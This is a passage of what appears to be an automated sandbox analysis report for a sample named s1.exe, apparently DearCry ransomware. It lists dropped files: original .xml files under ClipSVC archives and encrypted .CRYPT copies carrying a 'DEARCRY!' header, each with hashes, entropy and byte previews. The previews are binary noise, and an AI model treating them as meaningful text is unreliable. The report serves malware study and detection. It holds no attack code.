                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8d56e57b-8663-136d-ff69-a004e217825a.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.9368233788577855
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F22B2812C1B37056A6B9CB6BB0E2DF83
                                                              SHA1:B6D466443D6AF170926ADD9108C67E1BAA089AC2
                                                              SHA-256:55D6F6F049FC3CA7A990E2CB1DA4F22F152B92B3AA753287DE2EF2B3E6B624B2
                                                              SHA-512:ACB5672E6F84A9F71A3523C3EAC10B538E8E53F1E58365C3F4FA115A6CC1A11F17959E4F1B94249099900947D88A26D5F092045761BAB9FF49CBA09FDAE7875A
                                                              Malicious:false
                                                              Preview: DEARCRY!.......bI;.=.L./...j..d...,i..$.7.(......,sT..[..j..oK.......+}N.'...b.eL...M..!.F...".H#....f.,*Z....O...WW.*4K.pE!.z....|....El..U...*....8.....Y....?y!.i.R..\.S./..}.'.5kZ*.......N.FO!.lh6.-S...74.~..P...4...*b.C[.BR.W........4&..Y....A..b.....m........t4..F09A.*[..w........K~m..Ov.*.x..1G:.M.....V.Ar8..j.V2........~k.... ......0..[..sf.X.*.8.Y.8..."..!pd..PF.1.)...l;L:....|.J..[.c_.s....^Qy..}.....gOQ....P.....S..... f^....'MO.PR....{i...n.ON.4A.s..........'...i...r...&\.,...G.#...CP8.T!.......0$Dw....p6/.;...g.._-t.`.X_B|8.tB..T..P ..".m...a....I ..-&..._.o.Z...)0L-.j.aO.db..G..+.b.Zi/.............D..9R`..T.+.<YuK+GqQ...Htv..m.....K3..E,.G...Dy{.XJ.>.#e.U{?......\..P.!.&.F.(.....E...ii.......;...k.......A.<..a=8.... b..a...O.:.......B..(.H.....rVrN......8@I.@..(.A(....j..t!..?.....8....1a...j.$.d......O..Q.y...N.....0d/.0..Y.....;I....dx......6.n.5.C#(~.......}tG..+...G......mw.$..QC..H.T.. .7_>.w.T..%o.7...:.7...U8...v.@.v.>`..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8dc15232-d4a9-314d-11ec-e0070326d175.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3273
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:20FFEEB0FE4E0C6E5D027AA792E50A1C
                                                              SHA1:75F468AACC6AB64EC101E99679E31FFFD6327E95
                                                              SHA-256:A10ABF8D66BE115FCD3DEDFB3A50E5CDD1C8F1C0A33B65928DD89CF167A87382
                                                              SHA-512:AC8064301C8E7F4B017F7258D0E199FC8738FF3FBAB3CB940507766EEFBEFD56670E6283EF921F925C59FBB75CD899939A0F9AC7920A24A73E701BCAB9A37277
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8dc15232-d4a9-314d-11ec-e0070326d175.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3560
                                                              Entropy (8bit):7.939532786288533
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:16EDECE5A21B3F13ABAF2162DB05E936
                                                              SHA1:F1A0C439798FC5C55B780A5BACE60FD8821D372A
                                                              SHA-256:C25C5493C42B646E7696284267E37DC06BC32C2BA380D48383BB8F04764B1EA9
                                                              SHA-512:815D2B80342BA2D9379491F7B435DE00947E16A32051CADE5DBA1CE6A748818B48900C498443E9DE44B868EDA013546B0CD6F969E6C2698A34724AE83A201EB5
                                                              Malicious:false
                                                              Preview: DEARCRY!....a...8..2.S.Z.$.H.. .-(X..K%x~D.....>.. >..=.....`.......................z...#...\n.6.Q.H.HO.......%..d..%.`O..Zt.|.^..L..K.....G...G...i..Q..wi...7.....&........=.>..........w....3+M:@..R.........H..5.....Jw-.....>...Q..d.H....+..|../,..Dc4d..............}.;. %t.&.0^.I.......g&.C}..[+.Ct.LY..K.G6W.....^b....Z.{..}....&....ys...P.t..o.....b..M@p.E/..;.Ck...JN...o&......c.....<D.j,^.6.c5....Z....~..-kOA.4>.;..t..4e.j..}>.m.9|..J..2..A.4.Q..I.'.......wBLyzn\..p..K.G[.[b[e6.n......{..lO......_..aS.J9X....0..O.8..qs....C..7..s..X~..a...,.9..hCM..$..Z.e.m.2...+x..Z.A.N(...........*...V.h$d;.^Z.!..Oh.3...2...v.M29...Q..hN..G.V..3.....N...2.a8.8....vQ|.y;..@@*.C..+..x..L..7.D.8Z`....8.d0.S.Ma.HqWW........8..........D..h.....pl..].%..{.}........R...r.(S.I..2a...d..-_....[r..-.J.._.p....<..../M..IiO\-.'...n.0b.b..i.B.E....N...P'w..q...x{.5.uw.W$.i.S`n]Di......5....7&Q%7\.....c...T.}..`..v.a.<..A4$H=.G}.\..6..\z.'..{..T......m..p?...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2663
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:31434364ACBA2FA351FC9715DB743DF4
                                                              SHA1:1C2E77B236CFDD14960E90C9A48E59532D1A255B
                                                              SHA-256:A94FC52F4840AA6390D47765D3FCE16AB6D1C1978441156EF607A4B6F63FC317
                                                              SHA-512:B069A65226C5AEA8D50DA2A179A351051A6680CF42A117D5D5B98E97BDCDD12E412F698B89039BD3464550E5794D3B95D97C6EE6931DC72E1BB060DAA08E40B4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\8e383e90-b2f9-7bf2-1d5b-4e47dcb2014e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.942636638359807
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8AFF11F1D1538141CD01342FBD7FFF09
                                                              SHA1:B9A6588FB5BC0F8BB5B3595B93088F74E0DBBEC2
                                                              SHA-256:29B456D6DC82CE4E6F686E9558E87FBE92B162AAA03B6C6C5BD66C617C1AE04B
                                                              SHA-512:8F33449770DF8B09C7ADF5FC85CE3B2AA4A00F81A0336120F71F022E56DBEB40C81D8E5EC10AC29A768FF058E47403D23219C315FC081C913054F749072B201C
                                                              Malicious:false
                                                              Preview: DEARCRY!.... .h,IKGw./.....C_.K.}...wL.kKL..ss...G..0.M...UO.8.c^.j..OB..X.~NG...;^.{?}R.a!]...?.......%....7....MH.Tm.#...{It.A..n3.N-....g.O........].&k!!.Y3.p8.-\....5.......gok....V.m6 .........a...2.R..v@..3..b...=.q..E.W.F+..=.+X8.......'_.4.8.:...G)....g..........6......../..(.Z;(..*..~X.{...9.z..)..i.;E./...h..........|..,...MEpf1.........(*[v!2..o.2"4~.#.[.@g..a..%..d...TV.9.Ee=Y.......B........:Y.3A/.3..zoe.....%.?l.n.}......E....#]i.....q.R3,.c!..?+|q[.u.M9U......Z!..9.m.R...Po{`_.H.q{...T...Y.nP.....m..8?.F.....>1...1h8.BY.%....o..#d|._...h|F.[.,t....n#.{.x.j.).F..v...?...X.._.".e2...#t..|..YV.a..q..ZT.l|FZaJ[:.URn/......A...o\.C..>..Nu6.N...9K.8[Z.Yh.".o:.IV.K..462j...,.....p..8.Df.g.T.Op.Z.......ru#....\..+..|FW..w.>.GF+&Z<n.+.........Yq..'...f:....j..`7..j.m.+v.....<hNz.7\k.S.]...S\....].....N...u\d.9...z=....Z.m..wq...l"k.~...C.K...+.....YMC....5.]..k....../....*.:....J.cT.XZ.C.Z.......b.,q...A'.4..d%C.Ro...... ...D.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\91a5b4c7-29a8-ec80-4321-fbecea906705.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2793
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BADC665487447F42CCAA8423C32F15E7
                                                              SHA1:2509E6D4E5B72E02BFCB38E7CB3F14A2B014E357
                                                              SHA-256:49C02CA1EA2DA170F109CD3D0E27FE345CBC39818EAD81145F23CCC522D10B55
                                                              SHA-512:EA09C7B49F1572C87B9172798F25D86842085139E533EC35E1ADE7C899A182D45D101862428B4C3953695F2D4014055D008597E5006AF07D5EBC1F0B592FD0DC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\91a5b4c7-29a8-ec80-4321-fbecea906705.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3080
                                                              Entropy (8bit):7.927343296643191
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B3790D3FD4042A164D25F31D388001A8
                                                              SHA1:EF523368574E75BAADDBA0842A033CA0CBE951DA
                                                              SHA-256:E0587035E41186211E5D0AA8DFE7000093E94AD10EBD31EAE694F4293C67EBCD
                                                              SHA-512:8D381E805D1D88E380E0B5C38D6DA62300C2D1804646820FA0EE811B19AD7BF85BEB857193571BC64F69740FD0E474A697BD4EA73CBA962FDE607985AC4BDF9C
                                                              Malicious:false
                                                              Preview: DEARCRY!....UA.,nK.....)=..HO......z.p..zY]...Z.t8$....4.0?<..pR....A.y.^...rj.WY..e..}..>^.$.J6.b.<&qQ..2k. .kwjZ.1JEK.{...C......p..*t.V!.!?...{.$]..H]9...W,EB..sP..Ow7.!.@.k.H...c.0..!..].."J...."...>..K.~.DB.b,...F..-....(.....4.6..%c.....x9.k.X9M...)............S.,5..[.'o..yM.....(..H.A....vc..k.C/0M,....WU... ...b.e...=.&..F.P.2.21lB.\..;...h.....R..'qR..3.-..,j...V.........y.....C+.6.*..,'H...0...f.,.j.]....`....f....8C..=.H..rm.u.....0.OC.R.b.3........."...?..E...>.5.T..e.sY.,..).........F..l/..8s...T...yX.."C8./.@Cu.=N.Lh.[...<Q=....._2....+.....e.;S..........E.(9..g.....P.,2y.K5....p.........Ca..b..e...^...ae. ^..H.....*ay..7..|..+..)i.,..g......d.:..hQa.`.......gd..AG..|...z|.....Z.8.Ir.H.E.q..J..0...!.....p<...i...."Rt.*.kT...J.>.......4.+.t...uBV..fI.....3...[...u...eH"....h........Q..Es...hHu.^B.W......."i..E...>.P....+.....V:..CA.}.=..k..\<.[.[..4.'h.h...-...3c.?.<..n,I....y....<.....<..k=6.M-a.O.$o.7.$a...'.....'U.....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2833
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DC650186F13DC860F47F17444A03D9B1
                                                              SHA1:7859862692F984DE8483CD4C4B18CCA1FCE2A34C
                                                              SHA-256:622F7A9E8A361A29F1AA93BC6BCF7F7391C01A068F0466DBB3726813A61635DC
                                                              SHA-512:8D2A0037C9F3FFEEB756269A55C9116988E8204D92730F6787D294C51CD97405B9C7C2BF1ED774500DF58C330810277773EBE5D22F47E5B4DBEAF662DE222977
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3128
                                                              Entropy (8bit):7.944352712718817
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9BC3E29D8F6D21C7D549817D4444A616
                                                              SHA1:393CAE2E3AA5BD6B875CEA74E97F6912F5B2B60B
                                                              SHA-256:60E1C85DFD9BF2120AC8FB4C2076022F26BFF8B21D6BEBF354F1D02630A71D53
                                                              SHA-512:7512EA95245208DBFBEBE1A7F229665840DD0C4FE790B919925F4F5B3A4AEFD37E55902B4828F3831C3A53DC5C653C54F06D60002EC48B920E1550DE112B5D3F
                                                              Malicious:false
                                                              Preview: DEARCRY!....wY^.....Vl.A.......O>..JM.`.z..&Ut....zr)\.q...../..K..#VM%.g.hoX..Z...&F q..."...oi..AwI...205Q..S.aL..8....i...?..6TE.G.r..}.F...u.N...9..:G.... ....L.s...-........z.....^......u.P9.....h..6.T.D]..D[oF^.6...W!.........v.1+.v..I+.f^[..9..8A.~.............].> ...3z=.`..\..2.....f.........%..&....R..........i..k....C6.s....c.@......i......RW=.b5.9}........oCg...I...r...h..9..a...X..M..|...gtn....P..n.`^.Z.......X..#..Q.L. !..-n........rK,... .Jg...k.GZ..`.YH..P1..j...}.....08.^?2Z...h....b.o=.^>aBT&DWm.}..8,.T.f.~.V......"5...8L._...e..-....s.?L.0?\..*2...K1....(@\[...V.A......\a%....i..L..w.I..L.......\...#-.u.Q..$...Xg...c..I?..t[......w...w.G.b2H3.x.]yM........b..`1.a..,...fb[.....B...K.L...[...G|.o..Is..B(..$...O>.&..s.fd=....].2T."......KK.g1...B2..]nQGl.\C...w......0.^A..Vq........qQZ.S....2.9...f.2[..j.P1.U.(ePC....^..,..Y.....(T!<...b.M55i.,/[<.V......k.._...6.9B........C.Y.8..w.V$...i.Z.^c.0....?Z....O..>....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2756
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CB50F2B52BB2F8EB1947B1FFA359A2C1
                                                              SHA1:04D5A601789EBDE8953B4E4233BD79425995F3CC
                                                              SHA-256:DC15CBA2DE34B9ECE60F9A3BCEBF7EC2D2BD8DE906720095E696845B7ABC5B49
                                                              SHA-512:B995C63BCB1EC8FDE8C5847294FA69536E331551ACE281BC5F1017AC0DCAD2BB10E5CACF262D917EEB1EF27D5C27BBCB37CA76D0BAF6E857D6FA10179CA4CC01
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\a1e5b165-0532-a6a3-f542-0c5c162be3e1.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3048
                                                              Entropy (8bit):7.940294099926608
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:593AF61E4C34CC61DE2D97997E0C939C
                                                              SHA1:9E3C9C4053ED4E094E7DAC6522928286B73E8239
                                                              SHA-256:7E96D77BFA0710D7371959D261D0F4E1CAD03699EE8E3108243A97AD463C277F
                                                              SHA-512:ADEE65F0D70E982F0167CB63556C48986C75DE03A3308C613E2BAAADA4C36DBE9D18285C1F50DF360FF2DA0E308249D3D10DBA3C3FAF9980C7CF47474DC8DFE8
                                                              Malicious:false
                                                              Preview: DEARCRY!......M..,...\.L..B<./.~....1'.&.tp:vzZ(*D..!Q..J..$.. ..v.54.u..A.~.#...sD.&.....H...b..{q..,..b."..\..%.1..v..l...Gy. d.M.@..??..g.|..K.!...r...ZI-.mj..<p.#...VY....,U.j}u...u..........y......I.#.. w..M.......n>v.....mQh.W#3..KUoH....r.=WMB{............................kG"........2f..t"v.BU..FQs#m....{l.F.\PN..6...[...o.,B.....u.....[..l.dy.yQ.(..^..&{E\.Y.&.;.$L.eN.}..s..8e..xd..m.v......J..%4rJ...`..6#d=.BQ._....:S5uf...c.z.'..j..7qX....Uu..8L..gy..=..a...^._.>r. ..+5.0..g.J.....;..y.H..W.........u..>...Ou...c...............5.q..b....[...+'.].CeWo.K...M$:.N..\V....",.3A.......,.FI.....zH}....q......a.Vu7.=.#j=...@....Yd._..f...V.=8......).F......=.l).h..h....eE..fvp.z.:?e..e~...^..p.lm.......$.lGK.l...Vi...I,iO.H>...4.6"%...Y8.)..........b:p.V..r.~.L.ho0.D.*.@.,}........[0...5.y....6;.8..5.W.$.......ta........]3...4..6..LfV...`..!....../Vg..d...S..#`..../..0.....R.!.D.t.h..I...)..l............n.....h......HW.q3z[........y....H
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3245
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:08AAF4852E9813ED4A024920BC85A885
                                                              SHA1:BA2A202CF9D3680FD859DDF1E51C7DBC11351C30
                                                              SHA-256:6C7D7D3FF9BA8DF6EEBD4264064F9A1180FB993711484CC8EBEA1229A77AE3F5
                                                              SHA-512:6F0E8184B59EA1977516CDA05ECD4A2EECB37F82E1304E4858B55EAF5C775E8448EA4F984F5B18017CC47C0084969E163B72B9A980A64E953CFF2E84CDBA031C
                                                              Malicious:false
